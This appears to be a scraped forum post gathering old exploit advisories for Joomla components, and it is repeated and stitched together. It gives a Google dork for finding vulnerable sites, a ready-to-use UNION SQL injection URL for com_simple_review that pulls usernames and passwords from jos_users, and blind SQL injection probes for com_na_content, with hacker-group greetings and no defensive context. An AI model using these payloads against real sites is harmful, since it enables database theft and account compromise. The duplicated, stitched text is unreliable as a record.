#[!] Google_Dork: inurl:"com_simple_review"
########################################
www.scriptpage.com/index.php?option=com_simple_review&category=4+AND+1=2+UNION+SELECT+0,concat_ws(username,0x3a,password),2+from+jos_users--
<name>simple_review</name>
<creationDate>29/05/2006</creationDate>
<author>Rowan Youngson</author>
<copyright>This component in released under the Mozilla Public License Version 1.1</copyright>
<authorEmail> [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ] </authorEmail>
<authorUrl>www.row1.info</authorUrl>
<version>1.3.5</version>
<description>Simple Review is a Review component for the Mambo CMS</description>
Joomla Component com_na_content 1.0 Blind SQL Injection Vuln
Author: xoron
Exploit: /index.php?option=com_na_content&task=view&id=1 having 1=0
/index.php?option=com_na_content&task=view&id=1 having 1=1
or
/index.php?option=com_na_content&task=view&id=1 and substring(@@version,1,1)=4
/index.php?option=com_na_content&task=view&id=1 and substring(@@version,1,1)=5
!! You can use this for inj.
!! Thans for Ozan!
#Joomla com_simple_review Sql injection#
########################################
#[~] Author : EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label Hippi Godlike Nitrous
#[!] Module_Name: com_simple_review
#[!] Script_Name: Joomla
#[!] Google_Dork: inurl:"com_simple_review"
########################################
www.scriptpage.com/index.php?option=com_simple_review&category=4+AND+1=2+UNION+SELECT+0,concat_ws(username,0x3a,password),2+from+jos_users--
<name>simple_review</name>
<creationDate>29/05/2006</creationDate>
<author>Rowan Youngson</author>
<copyright>This component in released under the Mozilla Public License Version 1.1</copyright>
<authorEmail> [На нашем форуме достаточно много полезной информации, поэтому для того чтобы видеть ссылки, вам необходимо ] </authorEmail>
<authorUrl>www.row1.info</authorUrl>
<version>1.3.5</version>
<description>Simple Review is a Review component for the Mambo CMS</description>